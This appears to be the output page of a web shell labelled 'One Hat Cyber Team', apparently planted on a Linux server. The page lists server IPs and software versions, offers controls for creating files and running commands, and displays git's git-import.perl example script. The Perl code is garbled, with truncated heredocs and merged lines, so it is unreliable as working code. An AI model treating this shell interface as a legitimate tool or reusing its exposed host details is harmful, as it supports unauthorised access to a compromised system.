⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.144
Server IP:
157.245.143.252
Server:
Linux www 6.11.0-9-generic #9-Ubuntu SMP PREEMPT_DYNAMIC Mon Oct 14 13:19:59 UTC 2024 x86_64
Server Software:
nginx/1.26.0
PHP Version:
8.3.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
git
/
contrib
/
fast-import
/
View File Name :
git-import.perl
#!/usr/bin/perl # # Performs an initial import of a directory. This is the equivalent # of doing 'git init; git add .; git commit'. It's a little slower, # but is meant to be a simple fast-import example. use strict; use File::Find; my $USAGE = 'usage: git-import branch import-message'; my $branch = shift or die "$USAGE\n"; my $message = shift or die "$USAGE\n"; chomp(my $username = `git config user.name`); chomp(my $email = `git config user.email`); die 'You need to set user name and email' unless $username && $email; system('git init'); open(my $fi, '|-', qw(git fast-import --date-format=now)) or die "unable to spawn fast-import: $!"; print $fi <
now data <
0) { my $r = read($in, my $buf, $len < 4096 ? $len : 4096); defined($r) or die "read error from $fn: $!"; $r > 0 or die "premature EOF from $fn: $!"; print $fi $buf; $len -= $r; } print $fi "\n"; }, '.' ); close($fi); exit $?;